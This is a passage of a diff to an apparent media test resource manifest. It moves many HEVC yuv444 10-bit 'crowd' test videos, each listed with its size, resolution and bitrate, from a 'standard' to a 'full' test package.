-    <value>mime=video/hevc,size=178886,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2219496,package=standard</value>
+    <value>mime=video/hevc,size=178886,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2219496,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_wpp1.mp4">
-    <value>mime=video/hevc,size=179284,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224472,package=standard</value>
+    <value>mime=video/hevc,size=179284,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224472,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_zerolatency.mp4">
-    <value>mime=video/hevc,size=216033,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2687680,package=standard</value>
+    <value>mime=video/hevc,size=216033,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2687680,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_1024x1024p50f32_2000kbps.mp4">
-    <value>mime=video/hevc,size=151243,width=1024,height=1024,frame-rate=50,profile=,level=,bitrate=1873960,package=standard</value>
+    <value>mime=video/hevc,size=151243,width=1024,height=1024,frame-rate=50,profile=,level=,bitrate=1873960,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_1080x1440p50f32_3100kbps.mp4">
-    <value>mime=video/hevc,size=231723,width=1080,height=1440,frame-rate=50,profile=,level=,bitrate=2879960,package=standard</value>
+    <value>mime=video/hevc,size=231723,width=1080,height=1440,frame-rate=50,profile=,level=,bitrate=2879960,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_1080x1920p50f32_4100kbps.mp4">
-    <value>mime=video/hevc,size=295410,width=1080,height=1920,frame-rate=50,profile=,level=,bitrate=3676344,package=standard</value>
+    <value>mime=video/hevc,size=295410,width=1080,height=1920,frame-rate=50,profile=,level=,bitrate=3676344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_1080x64p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18115,width=1080,height=64,frame-rate=50,profile=,level=,bitrate=209872,package=standard</value>
+    <value>mime=video/hevc,size=18115,width=1080,height=64,frame-rate=50,profile=,level=,bitrate=209872,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_1088x1920p50f32_4100kbps.mp4">
-    <value>mime=video/hevc,size=296300,width=1088,height=1920,frame-rate=50,profile=,level=,bitrate=3687472,package=standard</value>
+    <value>mime=video/hevc,size=296300,width=1088,height=1920,frame-rate=50,profile=,level=,bitrate=3687472,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_1152x2048p50f32_4700kbps.mp4">
-    <value>mime=video/hevc,size=336782,width=1152,height=2048,frame-rate=50,profile=,level=,bitrate=4193480,package=standard</value>
+    <value>mime=video/hevc,size=336782,width=1152,height=2048,frame-rate=50,profile=,level=,bitrate=4193480,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_1280x1280p50f32_3200kbps.mp4">
-    <value>mime=video/hevc,size=229539,width=1280,height=1280,frame-rate=50,profile=,level=,bitrate=2852960,package=standard</value>
+    <value>mime=video/hevc,size=229539,width=1280,height=1280,frame-rate=50,profile=,level=,bitrate=2852960,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_1280x1920p50f32_4900kbps.mp4">
-    <value>mime=video/hevc,size=353585,width=1280,height=1920,frame-rate=50,profile=,level=,bitrate=4403536,package=standard</value>
+    <value>mime=video/hevc,size=353585,width=1280,height=1920,frame-rate=50,profile=,level=,bitrate=4403536,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_1280x64p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17493,width=1280,height=64,frame-rate=50,profile=,level=,bitrate=202096,package=standard</value>
+    <value>mime=video/hevc,size=17493,width=1280,height=64,frame-rate=50,profile=,level=,bitrate=202096,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_1280x720p50f32_1800kbps.mp4">
-    <value>mime=video/hevc,size=140287,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1737008,package=standard</value>
+    <value>mime=video/hevc,size=140287,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1737008,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_1280x960p50f32_2400kbps.mp4">
-    <value>mime=video/hevc,size=180093,width=1280,height=960,frame-rate=50,profile=,level=,bitrate=2234584,package=standard</value>
+    <value>mime=video/hevc,size=180093,width=1280,height=960,frame-rate=50,profile=,level=,bitrate=2234584,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_128x128p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15665,width=128,height=128,frame-rate=50,profile=,level=,bitrate=179344,package=standard</value>
+    <value>mime=video/hevc,size=15665,width=128,height=128,frame-rate=50,profile=,level=,bitrate=179344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_128x192p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16071,width=128,height=192,frame-rate=50,profile=,level=,bitrate=184320,package=standard</value>
+    <value>mime=video/hevc,size=16071,width=128,height=192,frame-rate=50,profile=,level=,bitrate=184320,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_128x72p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=14588,width=128,height=72,frame-rate=50,profile=,level=,bitrate=165784,package=standard</value>
+    <value>mime=video/hevc,size=14588,width=128,height=72,frame-rate=50,profile=,level=,bitrate=165784,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_128x96p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15703,width=128,height=96,frame-rate=50,profile=,level=,bitrate=179920,package=standard</value>
+    <value>mime=video/hevc,size=15703,width=128,height=96,frame-rate=50,profile=,level=,bitrate=179920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_1440x1080p50f32_3100kbps.mp4">
-    <value>mime=video/hevc,size=232144,width=1440,height=1080,frame-rate=50,profile=,level=,bitrate=2885224,package=standard</value>
+    <value>mime=video/hevc,size=232144,width=1440,height=1080,frame-rate=50,profile=,level=,bitrate=2885224,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_1440x1440p50f32_4100kbps.mp4">
-    <value>mime=video/hevc,size=295930,width=1440,height=1440,frame-rate=50,profile=,level=,bitrate=3682848,package=standard</value>
+    <value>mime=video/hevc,size=295930,width=1440,height=1440,frame-rate=50,profile=,level=,bitrate=3682848,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_1440x1920p50f32_5500kbps.mp4">
     <value>mime=video/hevc,size=397514,width=1440,height=1920,frame-rate=50,profile=,level=,bitrate=4952648,package=full</value>
@@ -22206,46 +22206,46 @@
     <value>mime=video/hevc,size=532926,width=1440,height=2560,frame-rate=50,profile=,level=,bitrate=6645280,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_1440x960p50f32_2700kbps.mp4">
-    <value>mime=video/hevc,size=202638,width=1440,height=960,frame-rate=50,profile=,level=,bitrate=2516400,package=standard</value>
+    <value>mime=video/hevc,size=202638,width=1440,height=960,frame-rate=50,profile=,level=,bitrate=2516400,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_144x144p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16089,width=144,height=144,frame-rate=50,profile=,level=,bitrate=184648,package=standard</value>
+    <value>mime=video/hevc,size=16089,width=144,height=144,frame-rate=50,profile=,level=,bitrate=184648,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_144x176p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16245,width=144,height=176,frame-rate=50,profile=,level=,bitrate=186496,package=standard</value>
+    <value>mime=video/hevc,size=16245,width=144,height=176,frame-rate=50,profile=,level=,bitrate=186496,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_144x192p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16433,width=144,height=192,frame-rate=50,profile=,level=,bitrate=188848,package=standard</value>
+    <value>mime=video/hevc,size=16433,width=144,height=192,frame-rate=50,profile=,level=,bitrate=188848,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_144x256p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16573,width=144,height=256,frame-rate=50,profile=,level=,bitrate=190600,package=standard</value>
+    <value>mime=video/hevc,size=16573,width=144,height=256,frame-rate=50,profile=,level=,bitrate=190600,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_144x96p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15558,width=144,height=96,frame-rate=50,profile=,level=,bitrate=178008,package=standard</value>
+    <value>mime=video/hevc,size=15558,width=144,height=96,frame-rate=50,profile=,level=,bitrate=178008,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_1536x2048p50f32_6200kbps.mp4">
     <value>mime=video/hevc,size=446058,width=1536,height=2048,frame-rate=50,profile=,level=,bitrate=5559432,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_160x240p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16872,width=160,height=240,frame-rate=50,profile=,level=,bitrate=194336,package=standard</value>
+    <value>mime=video/hevc,size=16872,width=160,height=240,frame-rate=50,profile=,level=,bitrate=194336,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_172x172p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16698,width=172,height=172,frame-rate=50,profile=,level=,bitrate=192144,package=standard</value>
+    <value>mime=video/hevc,size=16698,width=172,height=172,frame-rate=50,profile=,level=,bitrate=192144,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_176x144p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15960,width=176,height=144,frame-rate=50,profile=,level=,bitrate=183032,package=standard</value>
+    <value>mime=video/hevc,size=15960,width=176,height=144,frame-rate=50,profile=,level=,bitrate=183032,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_176x96p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15549,width=176,height=96,frame-rate=50,profile=,level=,bitrate=177896,package=standard</value>
+    <value>mime=video/hevc,size=15549,width=176,height=96,frame-rate=50,profile=,level=,bitrate=177896,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_1920x1080p50f32_4100kbps.mp4">
-    <value>mime=video/hevc,size=307628,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=3828768,package=standard</value>
+    <value>mime=video/hevc,size=307628,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=3828768,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_1920x1088p50f32_4100kbps.mp4">
-    <value>mime=video/hevc,size=306944,width=1920,height=1088,frame-rate=50,profile=,level=,bitrate=3820224,package=standard</value>
+    <value>mime=video/hevc,size=306944,width=1920,height=1088,frame-rate=50,profile=,level=,bitrate=3820224,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_1920x1280p50f32_4900kbps.mp4">
-    <value>mime=video/hevc,size=355151,width=1920,height=1280,frame-rate=50,profile=,level=,bitrate=4423112,package=standard</value>
+    <value>mime=video/hevc,size=355151,width=1920,height=1280,frame-rate=50,profile=,level=,bitrate=4423112,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_1920x1440p50f32_5500kbps.mp4">
     <value>mime=video/hevc,size=397599,width=1920,height=1440,frame-rate=50,profile=,level=,bitrate=4953712,package=full</value>
@@ -22257,25 +22257,25 @@
     <value>mime=video/hevc,size=721661,width=1920,height=2560,frame-rate=50,profile=,level=,bitrate=9004472,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_1920x64p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17294,width=1920,height=64,frame-rate=50,profile=,level=,bitrate=199912,package=standard</value>
+    <value>mime=video/hevc,size=17294,width=1920,height=64,frame-rate=50,profile=,level=,bitrate=199912,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_192x128p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15923,width=192,height=128,frame-rate=50,profile=,level=,bitrate=182568,package=standard</value>
+    <value>mime=video/hevc,size=15923,width=192,height=128,frame-rate=50,profile=,level=,bitrate=182568,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_192x144p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16197,width=192,height=144,frame-rate=50,profile=,level=,bitrate=186000,package=standard</value>
+    <value>mime=video/hevc,size=16197,width=192,height=144,frame-rate=50,profile=,level=,bitrate=186000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_192x192p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16931,width=192,height=192,frame-rate=50,profile=,level=,bitrate=195072,package=standard</value>
+    <value>mime=video/hevc,size=16931,width=192,height=192,frame-rate=50,profile=,level=,bitrate=195072,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_192x256p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16844,width=192,height=256,frame-rate=50,profile=,level=,bitrate=193984,package=standard</value>
+    <value>mime=video/hevc,size=16844,width=192,height=256,frame-rate=50,profile=,level=,bitrate=193984,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_192x288p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17037,width=192,height=288,frame-rate=50,profile=,level=,bitrate=196400,package=standard</value>
+    <value>mime=video/hevc,size=17037,width=192,height=288,frame-rate=50,profile=,level=,bitrate=196400,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_2048x1152p50f32_4700kbps.mp4">
-    <value>mime=video/hevc,size=340828,width=2048,height=1152,frame-rate=50,profile=,level=,bitrate=4244056,package=standard</value>
+    <value>mime=video/hevc,size=340828,width=2048,height=1152,frame-rate=50,profile=,level=,bitrate=4244056,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_2048x1536p50f32_6200kbps.mp4">
     <value>mime=video/hevc,size=448742,width=2048,height=1536,frame-rate=50,profile=,level=,bitrate=5592984,package=full</value>
@@ -22284,22 +22284,22 @@
     <value>mime=video/hevc,size=596621,width=2048,height=2048,frame-rate=50,profile=,level=,bitrate=7441472,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_216x288p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17262,width=216,height=288,frame-rate=50,profile=,level=,bitrate=199208,package=standard</value>
+    <value>mime=video/hevc,size=17262,width=216,height=288,frame-rate=50,profile=,level=,bitrate=199208,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_2304x4096p50f32_18800kbps.mp4">
     <value>mime=video/hevc,size=1415868,width=2304,height=4096,frame-rate=50,profile=,level=,bitrate=17682056,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_240x160p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16884,width=240,height=160,frame-rate=50,profile=,level=,bitrate=194480,package=standard</value>
+    <value>mime=video/hevc,size=16884,width=240,height=160,frame-rate=50,profile=,level=,bitrate=194480,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_240x240p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17581,width=240,height=240,frame-rate=50,profile=,level=,bitrate=203200,package=standard</value>
+    <value>mime=video/hevc,size=17581,width=240,height=240,frame-rate=50,profile=,level=,bitrate=203200,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_240x320p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18064,width=240,height=320,frame-rate=50,profile=,level=,bitrate=209232,package=standard</value>
+    <value>mime=video/hevc,size=18064,width=240,height=320,frame-rate=50,profile=,level=,bitrate=209232,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_240x360p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18314,width=240,height=360,frame-rate=50,profile=,level=,bitrate=212360,package=standard</value>
+    <value>mime=video/hevc,size=18314,width=240,height=360,frame-rate=50,profile=,level=,bitrate=212360,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_2560x1440p50f32_7300kbps.mp4">
     <value>mime=video/hevc,size=528503,width=2560,height=1440,frame-rate=50,profile=,level=,bitrate=6590000,package=full</value>
@@ -22314,34 +22314,34 @@
     <value>mime=video/hevc,size=1476344,width=2560,height=3840,frame-rate=50,profile=,level=,bitrate=18438008,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_256x144p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16830,width=256,height=144,frame-rate=50,profile=,level=,bitrate=193808,package=standard</value>
+    <value>mime=video/hevc,size=16830,width=256,height=144,frame-rate=50,profile=,level=,bitrate=193808,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_256x192p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17273,width=256,height=192,frame-rate=50,profile=,level=,bitrate=199344,package=standard</value>
+    <value>mime=video/hevc,size=17273,width=256,height=192,frame-rate=50,profile=,level=,bitrate=199344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_256x256p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17774,width=256,height=256,frame-rate=50,profile=,level=,bitrate=205608,package=standard</value>
+    <value>mime=video/hevc,size=17774,width=256,height=256,frame-rate=50,profile=,level=,bitrate=205608,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_264x352p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18673,width=264,height=352,frame-rate=50,profile=,level=,bitrate=216848,package=standard</value>
+    <value>mime=video/hevc,size=18673,width=264,height=352,frame-rate=50,profile=,level=,bitrate=216848,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_2880x3840p50f32_22100kbps.mp4">
     <value>mime=video/hevc,size=1674379,width=2880,height=3840,frame-rate=50,profile=,level=,bitrate=20913448,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_288x192p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17487,width=288,height=192,frame-rate=50,profile=,level=,bitrate=202024,package=standard</value>
+    <value>mime=video/hevc,size=17487,width=288,height=192,frame-rate=50,profile=,level=,bitrate=202024,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_288x216p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17451,width=288,height=216,frame-rate=50,profile=,level=,bitrate=201568,package=standard</value>
+    <value>mime=video/hevc,size=17451,width=288,height=216,frame-rate=50,profile=,level=,bitrate=201568,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_288x288p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17760,width=288,height=288,frame-rate=50,profile=,level=,bitrate=205432,package=standard</value>
+    <value>mime=video/hevc,size=17760,width=288,height=288,frame-rate=50,profile=,level=,bitrate=205432,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_288x352p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18903,width=288,height=352,frame-rate=50,profile=,level=,bitrate=219720,package=standard</value>
+    <value>mime=video/hevc,size=18903,width=288,height=352,frame-rate=50,profile=,level=,bitrate=219720,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_288x512p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=20365,width=288,height=512,frame-rate=50,profile=,level=,bitrate=237984,package=standard</value>
+    <value>mime=video/hevc,size=20365,width=288,height=512,frame-rate=50,profile=,level=,bitrate=237984,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_3072x4096p50f32_24000kbps.mp4">
     <value>mime=video/hevc,size=1827367,width=3072,height=4096,frame-rate=50,profile=,level=,bitrate=22825800,package=full</value>
@@ -22350,55 +22350,55 @@
     <value>mime=video/hevc,size=1828770,width=3120,height=4160,frame-rate=50,profile=,level=,bitrate=22843336,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_320x240p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17907,width=320,height=240,frame-rate=50,profile=,level=,bitrate=207272,package=standard</value>
+    <value>mime=video/hevc,size=17907,width=320,height=240,frame-rate=50,profile=,level=,bitrate=207272,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_320x320p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18457,width=320,height=320,frame-rate=50,profile=,level=,bitrate=214144,package=standard</value>
+    <value>mime=video/hevc,size=18457,width=320,height=320,frame-rate=50,profile=,level=,bitrate=214144,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_320x480p50f32_300kbps.mp4">
-    <value>mime=video/hevc,size=26180,width=320,height=480,frame-rate=50,profile=,level=,bitrate=310680,package=standard</value>
+    <value>mime=video/hevc,size=26180,width=320,height=480,frame-rate=50,profile=,level=,bitrate=310680,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_350x350p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=19695,width=350,height=350,frame-rate=50,profile=,level=,bitrate=229608,package=standard</value>
+    <value>mime=video/hevc,size=19695,width=350,height=350,frame-rate=50,profile=,level=,bitrate=229608,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_352x264p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18051,width=352,height=264,frame-rate=50,profile=,level=,bitrate=209072,package=standard</value>
+    <value>mime=video/hevc,size=18051,width=352,height=264,frame-rate=50,profile=,level=,bitrate=209072,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_352x288p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18305,width=352,height=288,frame-rate=50,profile=,level=,bitrate=212248,package=standard</value>
+    <value>mime=video/hevc,size=18305,width=352,height=288,frame-rate=50,profile=,level=,bitrate=212248,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_352x352p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=19143,width=352,height=352,frame-rate=50,profile=,level=,bitrate=222720,package=standard</value>
+    <value>mime=video/hevc,size=19143,width=352,height=352,frame-rate=50,profile=,level=,bitrate=222720,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_356x638p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34453,width=356,height=638,frame-rate=50,profile=,level=,bitrate=414072,package=standard</value>
+    <value>mime=video/hevc,size=34453,width=356,height=638,frame-rate=50,profile=,level=,bitrate=414072,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_356x640p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34484,width=356,height=640,frame-rate=50,profile=,level=,bitrate=414456,package=standard</value>
+    <value>mime=video/hevc,size=34484,width=356,height=640,frame-rate=50,profile=,level=,bitrate=414456,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_358x636p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34564,width=358,height=636,frame-rate=50,profile=,level=,bitrate=415456,package=standard</value>
+    <value>mime=video/hevc,size=34564,width=358,height=636,frame-rate=50,profile=,level=,bitrate=415456,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_358x640p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34491,width=358,height=640,frame-rate=50,profile=,level=,bitrate=414560,package=standard</value>
+    <value>mime=video/hevc,size=34491,width=358,height=640,frame-rate=50,profile=,level=,bitrate=414560,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_360x240p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18092,width=360,height=240,frame-rate=50,profile=,level=,bitrate=209584,package=standard</value>
+    <value>mime=video/hevc,size=18092,width=360,height=240,frame-rate=50,profile=,level=,bitrate=209584,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_360x360p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=19573,width=360,height=360,frame-rate=50,profile=,level=,bitrate=228096,package=standard</value>
+    <value>mime=video/hevc,size=19573,width=360,height=360,frame-rate=50,profile=,level=,bitrate=228096,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_360x480p50f32_300kbps.mp4">
-    <value>mime=video/hevc,size=26743,width=360,height=480,frame-rate=50,profile=,level=,bitrate=317720,package=standard</value>
+    <value>mime=video/hevc,size=26743,width=360,height=480,frame-rate=50,profile=,level=,bitrate=317720,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_360x636p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34527,width=360,height=636,frame-rate=50,profile=,level=,bitrate=415000,package=standard</value>
+    <value>mime=video/hevc,size=34527,width=360,height=636,frame-rate=50,profile=,level=,bitrate=415000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_360x638p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34462,width=360,height=638,frame-rate=50,profile=,level=,bitrate=414200,package=standard</value>
+    <value>mime=video/hevc,size=34462,width=360,height=638,frame-rate=50,profile=,level=,bitrate=414200,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_360x640p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34407,width=360,height=640,frame-rate=50,profile=,level=,bitrate=413512,package=standard</value>
+    <value>mime=video/hevc,size=34407,width=360,height=640,frame-rate=50,profile=,level=,bitrate=413512,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_3840x2160p50f32_16500kbps.mp4">
     <value>mime=video/hevc,size=1215283,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=15174744,package=full</value>
@@ -22413,7 +22413,7 @@
     <value>mime=video/hevc,size=1823413,width=3840,height=3840,frame-rate=50,profile=,level=,bitrate=22776368,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_384x512p50f32_300kbps.mp4">
-    <value>mime=video/hevc,size=27870,width=384,height=512,frame-rate=50,profile=,level=,bitrate=331800,package=standard</value>
+    <value>mime=video/hevc,size=27870,width=384,height=512,frame-rate=50,profile=,level=,bitrate=331800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_4096x2304p50f32_18800kbps.mp4">
     <value>mime=video/hevc,size=1421583,width=4096,height=2304,frame-rate=50,profile=,level=,bitrate=17753496,package=full</value>
@@ -22428,193 +22428,193 @@
     <value>mime=video/hevc,size=1831612,width=4160,height=3120,frame-rate=50,profile=,level=,bitrate=22878856,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_472x472p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34685,width=472,height=472,frame-rate=50,profile=,level=,bitrate=417000,package=standard</value>
+    <value>mime=video/hevc,size=34685,width=472,height=472,frame-rate=50,profile=,level=,bitrate=417000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_480x320p50f32_300kbps.mp4">
-    <value>mime=video/hevc,size=26655,width=480,height=320,frame-rate=50,profile=,level=,bitrate=316624,package=standard</value>
+    <value>mime=video/hevc,size=26655,width=480,height=320,frame-rate=50,profile=,level=,bitrate=316624,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_480x360p50f32_300kbps.mp4">
-    <value>mime=video/hevc,size=26809,width=480,height=360,frame-rate=50,profile=,level=,bitrate=318544,package=standard</value>
+    <value>mime=video/hevc,size=26809,width=480,height=360,frame-rate=50,profile=,level=,bitrate=318544,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_480x480p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34648,width=480,height=480,frame-rate=50,profile=,level=,bitrate=416536,package=standard</value>
+    <value>mime=video/hevc,size=34648,width=480,height=480,frame-rate=50,profile=,level=,bitrate=416536,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_480x640p50f32_600kbps.mp4">
-    <value>mime=video/hevc,size=49032,width=480,height=640,frame-rate=50,profile=,level=,bitrate=596320,package=standard</value>
+    <value>mime=video/hevc,size=49032,width=480,height=640,frame-rate=50,profile=,level=,bitrate=596320,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_480x720p50f32_600kbps.mp4">
-    <value>mime=video/hevc,size=50306,width=480,height=720,frame-rate=50,profile=,level=,bitrate=612248,package=standard</value>
+    <value>mime=video/hevc,size=50306,width=480,height=720,frame-rate=50,profile=,level=,bitrate=612248,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_480x848p50f32_800kbps.mp4">
-    <value>mime=video/hevc,size=63635,width=480,height=848,frame-rate=50,profile=,level=,bitrate=778960,package=standard</value>
+    <value>mime=video/hevc,size=63635,width=480,height=848,frame-rate=50,profile=,level=,bitrate=778960,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_512x288p50f32_200kbps.mp4">
